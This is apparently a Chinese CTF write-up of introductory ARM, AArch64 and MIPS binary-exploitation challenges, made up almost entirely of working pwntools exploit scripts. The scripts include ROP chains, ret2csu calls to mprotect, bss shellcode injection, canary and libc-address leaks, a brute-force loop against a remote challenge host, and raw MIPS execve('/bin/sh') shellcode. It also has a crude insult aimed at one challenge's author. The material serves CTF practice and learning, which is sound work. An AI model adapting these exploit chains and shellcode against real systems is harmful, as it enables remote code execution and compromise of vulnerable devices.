异构初探

前言:

记录一下最近做的几道异构入门题

jarvisoj_typo:

32位arm,静态链接,本地测出偏移后rop即可
注意的是因为去掉了符号表所以system函数可能需要找一会儿,可以使用xref找
exp:

from pwn import *
import sys
remote_addr = ["node4.buuoj.cn",27348]
#libc = ELF('')
#elf = ELF('')
if len(sys.argv) == 1:
    # context.log_level="debug" 
    #io = process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu/", "-g","1234","./stack"]) 
    # io = process(["qemu-aarch64", "-L", ".", "./stack"]) 
    io = process(["qemu-arm-static", "-g", "1234", "./typo"]) 
    # io = process("")
    context(arch='arm', os='linux',bits='32')
    # context.terminal['tmux', 'splitw', '-h']
if len(sys.argv) == 2 :
    if 'r' in sys.argv[1]:
        io = remote(remote_addr[0],remote_addr[1])
    if 'n' not in sys.argv[1]:
        context.log_level="debug" 
        #context(arch = 'amd64', os = 'linux')

str_sh=0x6c384
sys_addr=0x110b4


payload=cyclic(0x200)
io.sendafter(b"t\n",b"\n")
# io.send(payload)

#offset 112 
#0x00020904: pop {r0, r4, pc}; 


payload=cyclic(112)+p32(0x20904)+p32(str_sh)*2+p32(sys_addr)
io.sendafter(b"\n",payload)

io.interactive()

shanghai2018_babyarm:

aarch64动态链接,开启nx,存在mprotect函数可以开rwx段写shellcode
注意一下老生常谈的布栈问题
exp:

from pwn import *
import sys
remote_addr = ["node4.buuoj.cn",25721]
#libc = ELF('')
elf = ELF('./pwn')
if len(sys.argv) == 1:
    # context.log_level="debug" 
    #io = process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu/", "-g","1234","./stack"]) 
    # io = process(["qemu-aarch64", "-L", ".", "./stack"]) 
    io = process(["qemu-aarch64-static", "-g", "1234", "./pwn"]) 
    # io = process("")
    context(arch='aarch64', os='linux')
    # context.terminal['tmux', 'splitw', '-h']
if len(sys.argv) == 2 :
    if 'r' in sys.argv[1]:
        io = remote(remote_addr[0],remote_addr[1])
    if 'n' not in sys.argv[1]:
        context.log_level="debug" 
        context(arch='aarch64', os='linux')
        #context(arch = 'amd64', os = 'linux')

csu_2=0x4008CC
# LDP             X19, X20, [SP,#var_s10]
# LDP             X21, X22, [SP,#var_s20]
# LDP             X23, X24, [SP,#var_s30]
# LDP             X29, X30, [SP+var_s0],#0x40
# RET

#RET 跳转的是X30保存的地址,X30存放返回地址

csu_1=0x4008ac
# LDR             X3, [X21,X19,LSL#3]  此处控制X19值为0即可将X21值赋值给X3
# MOV             X2, X22
# MOV             X1, X23
# MOV             W0, W24
# ADD             X19, X19, #1
# BLR             X3
# CMP             X19, X20
# B.NE            loc_4008AC



mprotect=elf.plt[b"mprotect"]
# STP             X29, X30, [SP,#-0x10+var_s0]!
# MOV             X29, SP
# MOV             W2, #0                  ; prot
# MOV             X1, #0x1000             ; len
# MOV             X0, #off_411000         ; addr
# BL              .mprotect
# NOP
# LDP             X29, X30, [SP+var_s0],#0x10
# RET


tar_addr=0x411068

io.sendafter(b"Name:",p64(mprotect)+asm(shellcraft.sh()))
# payload=cyclic(0x48)+asm(shellcraft.sh())

payload=cyclic(0x48)+p64(csu_2)
payload+=p64(0)+p64(csu_1) # X19->0 X30->csu_1
payload+=p64(0)+p64(1) # X19->0 X20->1
payload+=p64(tar_addr)+p64(7)+p64(0x1000)+p64(tar_addr+8) # X3->X21->tar_addr X2->X22->7 X1->X23->0x1000 W0->W24(X24)->tar_addr+0x8

payload+=p64(0)+p64(tar_addr+0x8) # mprotect X29->0 X30->tar_addr+0x8

io.sendline(payload)

io.interactive()

axb_2019_mips:

mips是关闭了nx的,可以构造read将shellcode读入bss段然后跳转到bss段执行

from pwn import *
import sys
remote_addr = ["node4.buuoj.cn",27635]
#libc = ELF('')
#elf = ELF('')
if len(sys.argv) == 1:
    # context.log_level="debug" 
    #io = process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu/", "-g","1234","./stack"]) 
    # io = process(["qemu-aarch64", "-L", ".", "./stack"]) 
    io = process(["qemu-mipsel-static", "-g", "1234","-L",".","./pwn2"]) 
    # io = process("")
    context(arch='mips',endian='little', os='linux',bits='32')
    # context.terminal['tmux', 'splitw', '-h']
if len(sys.argv) == 2 :
    if 'r' in sys.argv[1]:
        context(arch='mips',endian='little', os='linux',bits='32')
        io = remote(remote_addr[0],remote_addr[1])
    if 'n' not in sys.argv[1]:
        context.log_level="debug" 
        #context(arch = 'amd64', os = 'linux')

shellcode=asm(shellcraft.sh())
bss_addr=0x410c00
read_text=0x4007e0

io.sendafter(b"name: \n",b"aaa")

# payload=cyclic(0x200)
#offset 36

# # NOP sled (XOR $t0, $t0, $t0; as NOP is only null bytes)
# for i in range(29):
#     payload += b"\x26\x40\x08\x01"

payload=cyclic(0x20)+p32(bss_addr)+p32(read_text)
io.sendafter(b"aaa",payload)

sleep(1)

payload=cyclic(0x24)+p32(bss_addr+0x40)+b"\x26\x40\x08\x01"*20+shellcode
io.send(payload)

io.interactive()

ycb_2020_mipspwn:

mipsel,打法同上,向bss段写入shellcode跳转执行
此题需要限制一下shellcode长度,使用shellcraft生成的过长了
可以上exdb找:https://www.exploit-db.com/shellcodes/13300
exp:

from pwn import *
import sys
remote_addr = ["node4.buuoj.cn",26964]
#libc = ELF('')
#elf = ELF('')
if len(sys.argv) == 1:
    # context.log_level="debug" 
    #io = process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu/", "-g","1234","./stack"]) 
    # io = process(["qemu-aarch64", "-L", ".", "./stack"]) 
    # io = process(["qemu-mipsel-static", "-g", "1234","-L",".","./pwn2"]) 
    io = process(["qemu-mipsel-static", "-g", "1234","./pwn2"]) 
    # io = process("")
    context(log_level='debug',arch='mips',endian='little', os='linux',bits='32')
    # context.terminal['tmux', 'splitw', '-h']
if len(sys.argv) == 2 :
    if 'r' in sys.argv[1]:
        context(arch='mips',endian='little', os='linux',bits='32')
        io = remote(remote_addr[0],remote_addr[1])
    if 'n' not in sys.argv[1]:
        context.log_level="debug" 
        #context(arch = 'amd64', os = 'linux')
        
        
bss_addr=0x411700
read_text=0x400f50


io.sendafter(b"here:\n",b"aaa")
io.recv()
io.sendline(b"7")

#payload=cyclic(0x200)
#offset 60

payload=cyclic(56)+p32(bss_addr)+p32(read_text)
io.sendafter(b"feeling:\n",payload)

shellcode=b"\xff\xff\x10\x04\xab\x0f\x02\x24"
shellcode+=b"\x55\xf0\x46\x20\x66\x06\xff\x23"
shellcode+=b"\xc2\xf9\xec\x23\x66\x06\xbd\x23"
shellcode+=b"\x9a\xf9\xac\xaf\x9e\xf9\xa6\xaf"
shellcode+=b"\x9a\xf9\xbd\x23\x21\x20\x80\x01"
shellcode+=b"\x21\x28\xa0\x03\xcc\xcd\x44\x03"
shellcode+=b"/bin/sh"

payload=b"a"*60+p32(bss_addr+88)+shellcode

io.send(payload)

io.interactive()

hkcert2023_rop:

mips,构造gets往可写段上写shellcode,再找gadget跳过去,最后溢出跳转

from pwn import *
import sys
remote_addr = ["chal.hkcert23.pwnable.hk",28151]
#libc = ELF('')
#elf = ELF('')
if len(sys.argv) == 1:
    context.log_level="debug" 
    p = process(["qemu-mips-static", "-L", ".", "-g","1234","./rop"]) 
    elf=ELF("./rop")
    # p = process(["qemu-mips-static", "-L", ".", "./rop"]) 
    # p = process("./rop")
    context(arch='mips',endian='big',bits='32',os='linux')
    context.terminal = ['tmux', 'splitw', '-h']
if len(sys.argv) == 2 :
    if 'r' in sys.argv[1]:
        context(arch='mips',endian='big',bits='32',os='linux')
        p = remote(remote_addr[0],remote_addr[1])
    if 'n' not in sys.argv[1]:
        context.log_level="debug" 
        #context(arch = 'amd64', os = 'linux')

# gdb.attach(p)
# pause()
nop=b"\x01\x08\x40\x26"
shellcode = asm('''
  lui $t7, 0x2f2f
  ori $t7, $t7,0x6269
  lui $t6, 0x6e2f
  ori $t6, $t6, 0x7368
  sw $t7, -12($sp)
  sw $t6, -8($sp)
  sw $zero, -4($sp)
  addiu $a0, $sp, -12
  slti $a1, $zero, -1
  slti $a2, $zero, -1
  li $v0, 4011
  syscall 0x040405
''')

#                   LAB_00456c34                          XREF[1]:  00456c20(j)  
#  00456c34 8f bf       lw       ra,local_4(sp)
#          00 5c
#  00456c38 8f a2       lw       v0,local_3c(sp)
#          00 24
#  00456c3c 8f b3       lw       s3,local_8(sp)
#          00 58
#  00456c40 8f b2       lw       s2,local_c(sp)
#          00 54
#  00456c44 8f b1       lw       s1,local_10(sp)
#          00 50
#  00456c48 8f b0       lw       s0,local_14(sp)
#          00 4c
#  00456c4c 03 e0       jr       ra
#          00 08



gets_text=0x400820


payload=flat(
    {
        0x24:p32(0x49cc20),
        0x4c:p32(0),
        0x5c:p32(gets_text),
    }
)


p.sendlineafter(b"input : \n",b"a"*72+p32(0x49cc20)+p32(0x456c34)+payload)

p.sendline(shellcode+cyclic(0x64-len(shellcode))+p32(0x49cc20))


p.interactive()

[MTCTF 2022]aarch64_ret2libc:

aarch64,泄露的libc有\x00截断,平台上需要爆破地址
ldrldp指令的gadget,控制的x0/bin/sh地址,x30为ret地址

from pwn import *
import sys
remote_addr = ["node4.anna.nssctf.cn",28926]
#libc = ELF('')
#elf = ELF('')
if len(sys.argv) == 1:
    context.log_level="debug" 
    # io = process(["qemu-aarch64", "-L", ".", "-g","1234","./pwn"]) 
    io = process(["qemu-aarch64", "-L", ".","./pwn"]) 
    elf = ELF("./pwn")
    libc = ELF("./lib/libc.so.6")
    # io = process(["qemu-mips-static", "-L", ".", "./pwn"]) 
    # io = process("./pwn")
    context(arch='aarch64',os='linux')
if len(sys.argv) == 2 :
    if 'r' in sys.argv[1]:
        context.log_level="debug" 
        elf = ELF("./pwn")
        libc = ELF("./lib/libc.so.6")
        io = remote(remote_addr[0],remote_addr[1])
    if 'n' not in sys.argv[1]:
        context.log_level="debug" 


def get_gift(cc):
    io.sendlineafter(b">\n",b"1")
    io.sendafter(b"sensible>>\n",cc)

def overflow(cc):
    io.sendlineafter(b">\n",b"2")
    io.sendlineafter(b"> ",cc)

ct=0
num=[]
for i in range(0x10,0x100):
    num.append(i)
for i in range(0,0xf0):
    print("ct: ",hex(num[i]))

while(True):
    # try:
        elf = ELF("./pwn")
        libc = ELF("./lib/libc.so.6")
        io = remote(remote_addr[0],remote_addr[1])
        # io = process(["qemu-mips-static", "-L", ".", "./pwn"]) 
        # io = process("./pwn")
        context(arch='aarch64',os='linux')
        puts_got=elf.got[b"puts"]

        get_gift(p64(puts_got))

        leak_addr=u64(io.recv(3).ljust(8,b"\x00"))-libc.sym[b"puts"]
        print("leak_addr: ",hex(leak_addr))

        base_addr=0x4000000000
        # base_addr = base_addr * num[ct]
        print("base_addr: ",hex(base_addr))
        ct = ct+1
        # base_addr=0x0

        sys_addr=leak_addr+libc.sym[b"system"]+base_addr
        str_sh=leak_addr+next(libc.search(b"/bin/sh"))+base_addr

        print("sys_addr: ",hex(sys_addr))
        print("str_sh: ",hex(str_sh))

        gadget=leak_addr+0xb6518+base_addr
        # 0x00000000000b6518: ldr x0, [sp, #0x70]; ldp x29, x30, [sp], #0x1a0; ret;
        # payload=cyclic(0x100)
        print("offset: ",hex(cyclic_find(0x6261616a))) #0x88

        payload=cyclic(0x88)+p64(gadget)

        fake_stack=cyclic(0x10)+p64(sys_addr)*2
        fake_stack=fake_stack.ljust(0x80,b"a")+p64(str_sh)
        # fake_stack=fake_stack.ljust(0xc0,b"a")+p64(0xbeefdead)+p64(sys_addr)
        overflow(payload+fake_stack)
        sleep(0.2)
        io.interactive()
    #     io.sendline(b"cat flag")
    #     sleep(0.2)
    #     t=io.recv()
    #     print(t)
    #     if b"NSS" in t:
    #         break
    #     else:
    #         io.close()
    #         continue
    # except:
    #     io.close()
    #     continue

htb_arms_roped:

出题人的ld和🐎一起缺失了 ,sb题😅😅😅

from pwn import *
import sys
# remote_addr = ["167.99.82.136",32375]
remote_addr = ["167.99.85.216",31954]
#libc = ELF('')
#elf = ELF('')
if len(sys.argv) == 1:
    context.log_level="debug" 
    io = process(["qemu-arm", "-L", ".", "-g","1234","./arms_roped"]) 
    elf = ELF("./arms_roped")
    # libc = ELF("./arm-linux-gnueabihf/lib/libc.so.6")
    # io = process(["qemu-arm", "-L", ".", "./rop"]) 
    # io = process("./rop")
    context(arch='arm',endian='little',bits='32',os='linux')
    context.terminal = ['tmux', 'splitw', '-h']
if len(sys.argv) == 2 :
    if 'r' in sys.argv[1]:
        context(arch='arm',endian='little',bits='32',os='linux')
        io = remote(remote_addr[0],remote_addr[1])
        elf = ELF("./arms_roped")
        # libc = ELF("./arm-linux-gnueabihf/lib/libc.so.6")
    if 'n' not in sys.argv[1]:
        context.log_level="debug" 
        #context(arch = 'amd64', os = 'linux')

### leak canary
payload=b"a"*0x21
io.sendline(payload)

io.recvuntil(b"a"*0x21)
canary=u32(io.recv(3)[-4:].rjust(4,b"\x00"))
log.success("canary: "+hex(canary))


### leak base
payload=b"a"*0x30
io.sendline(payload)

io.recvuntil(b"a"*0x30)
# base_addr=u32(io.recv(4).ljust(4,b"\x00"))+0x40000000-0x948
base_addr=u32(io.recv(4).ljust(4,b"\x00"))-0x948
log.success("base_addr: "+hex(base_addr))


### leak libc
payload=b"a"*0x48
io.sendline(payload)

io.recvuntil(b"a"*0x48)
leak_addr=u32(io.recv(4).ljust(4,b"\x00"))-153-0x1748C
log.success("leak_addr: "+hex(leak_addr))

# sys_addr=leak_addr+0x2F5C8 9.9
sys_addr=leak_addr+0x2F510+1  # alignment
### 0002F510

# str_sh=leak_addr+0x0DCE38 9.9
str_sh=leak_addr+0x0DCE0C
### 00DCE0C

log.success("sys_addr: "+hex(sys_addr))
log.success("str_sh: "+hex(str_sh))


# 0x000009ec: pop {r4, r5, r6, r7, r8, sb, sl, pc};
# 0x000009d8: mov r0, r7; add r4, r4, #1; blx r3;
# 0x0000056c: pop {r3, pc};

mov_all=base_addr+0x9d8
pop_r4_r5_r6_r7_r8_sb_sl_pc=base_addr+0x9ec
pop_r3_pc=base_addr+0x56c


log.success("mov_all: "+hex(mov_all))
log.success("pop_r4_r5_r6_r7_r8_sb_sl_pc: "+hex(pop_r4_r5_r6_r7_r8_sb_sl_pc))
log.success("pop_r3_pc: "+hex(pop_r3_pc))


payload=cyclic(0x20)+p32(canary)+p32(0xdeadbeef)*3
payload+=p32(pop_r4_r5_r6_r7_r8_sb_sl_pc)

payload+=p32(0)*3
payload+=p32(str_sh) # r7->str_sh
payload+=p32(0)*3
payload+=p32(pop_r3_pc)

payload+=p32(sys_addr)+p32(mov_all)

io.sendline(payload)

# io.sendline(b"quit")

io.interactive()